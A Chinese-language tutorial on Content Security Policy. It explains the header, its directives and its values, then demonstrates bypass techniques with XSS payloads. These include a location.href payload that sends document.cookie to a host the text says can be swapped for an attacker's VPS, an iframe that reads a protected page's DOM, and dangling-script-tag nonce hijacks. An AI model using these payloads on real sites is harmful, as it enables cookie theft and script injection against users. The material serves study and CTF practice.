前言
Content Security Policy内容安全策略,是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。它实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,哪些不可以。
参考:
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP
https://www.freebuf.com/articles/network/272918.html
https://blog.csdn.net/weixin_42478365/article/details/116597764
配置
要使CSP可用,需要配置响应包标头Content-Security-policy
Content-Security-policy: default-src 'self'; img-src https://*; child-src 'none';
html也可以配置
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; img-src https://*; child-src 'none';" />
也可以用Content-Security-Policy-Report-Only
指定策略,不执行限制选项,只是记录违反限制的行为。它必须与report-uri
选项配合使用
Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser;
指令
即Content-Security-policy
的内容设置
script-src:外部脚本
style-src:样式表
img-src:图像
media-src:媒体文件(音频和视频)
font-src:字体文件
object-src:插件(比如 Flash)
child-src:框架
frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>)
connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src:worker脚本
manifest-src:manifest 文件
dedault-src:默认配置
frame-ancestors:限制嵌入框架的网页
base-uri:限制<base#href>
form-action:限制<form#action>
block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
plugin-types:限制可以使用的插件格式
sandbox:浏览器行为的限制,比如不能有弹出窗口等。
指令值
*: 星号表示允许任何URL资源,没有限制;
self:表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;
data:仅允许数据模式(如Base64编码的图片)方式加载资源;
none:不允许任何资源被加载;
unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;
nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;
那么对于一开始的示例
Content-Security-policy: default-src 'self'; img-src https://*; child-src 'none';
意思就是对于默认配置,仅允许来自同源的资源被页面加载;对于图像,允许https协议下的任何URL资源加载;对于框架,不允许任何资源被加载
所以我们写一个demo测试一下:
<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';" />
<img src=yinli.png>
<script src=2.js></script>
<script src=https://examples.com/script.js></script>
</head>
<body>
<button id="myButton">点击我</button>
</body>
可以看到图片和2.js作为同源资源都被载入了,但是https://examples.com/script.js
没有被载入,因为是非同源资源
绕过
首先我们可以把响应的CSP政策丢CSP Evaluator检测一手
location.href
CSP不影响location.href跳转,因为在大多数网站中的跳转功能都是靠前端实现的,如果限制跳转将会使网站很大一部分功能受到影响,所以利用跳转来绕过CSP是一个万能的方法;或者存在script-src 'unsafe-inline';
这条规则也可以用该绕过方法
demo:
<?php
if (!isset($_COOKIE['a'])) {
setcookie('a',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self';");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
if (isset($_GET['a'])) {
echo "Your GET content".@$_GET['a'];
}//
?>
虽然策略只允许同源的资源,但是我们还是可以用location跳转:location.href(window.location/window.open)
绕过
exp:链接处可以改为vps地址
?a=<script>location.href="http://127.0.0.1"%2bdocument.cookie;</script>
此时js脚本就被注入进去了,但是在default-src 'self'
的情况下脚本实际上并不会执行
如果我们的配置修改为default-src 'unsafe-inline'
,那么再次传入上面的exp
此时就发生了跳转,并且带出了cookie
link标签预加载
大部分浏览器已经约束了这个标签,我这里就懒得整这个了(
meta网页跳转绕过
实现跳转
<meta http-equiv="refresh" content="1;url=http://127.0.0.1:7890/" >
除此之外meta也可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。
<meta http-equiv="cache-control" content="public">
meta还可以设置Cookie(Firefox下),可以结合self-xss利用
<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">
iframe绕过
iframe 元素会创建包含另外一个文档的内联框架(即行内框架),我们可以通过设置这个来做到一个跨域访问
在CSP中,通过配置sandbox和child-src可以设置iframe的有效地址,它限制iframe的行为,包括阻止弹出窗口,防止插件和脚本的执行,而且可以执行一个同源策略。
而当一个同源站点存在A和B两个页面,如果A存在CSP保护而B没有,我们可以直接在B页面新建iframe
用js操作A页面的DOM,也就是说A页面的CSP防护完全失效
demo:
<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
<h1 id="flag">flag{0xffff}</h1>
这个页面CSP明显拉满了
<!-- B页面 -->
<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="http://ctf:85"; <!-- A页面的地址 -->
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>
我们甚至可以利用这个ban掉js库
在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如某个页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。
<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
CDN绕过
一般来说,前端要用到许多的前端框架和库,而部分企业为了效率或者其他原因,会选择使用其他CDN上的js框架,当这些CDN上存在一些低版本的框架时,就可能存在绕过CSP的风险
做法基本上都是套用网上相应的payload格式来绕过CSP,有一个Breaking XSS mitigations via Script Gadgets能参考一下可以被用来CDN绕过的一些JS库
不完整script标签绕过
首先,当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性
然后我们看demo:
<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
//do some thing
</script>
payload:
?xss=<script src=data:text/plain,alert(1)
注意我们只提供了一个左尖括号
此时可以发现<script
在后面匹配了个右尖括号,然后把后面的nonce="xxxxx"
一起包含进来,劫持到了插入的script标签中,于是成功绕过script-src
不过这个方法在chrome里面好像寄了,会干扰chrome对标签的解析,但是这里可以用到标签的一个技巧:
当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略
于是修改payload为
?xss=123<script src="data:text/plain,alert(1)" a=123 a=
新建一个a属性,然后再新建第二个a属性,这样我们就将第二个<script
赋给了第二个a属性,然后被忽略掉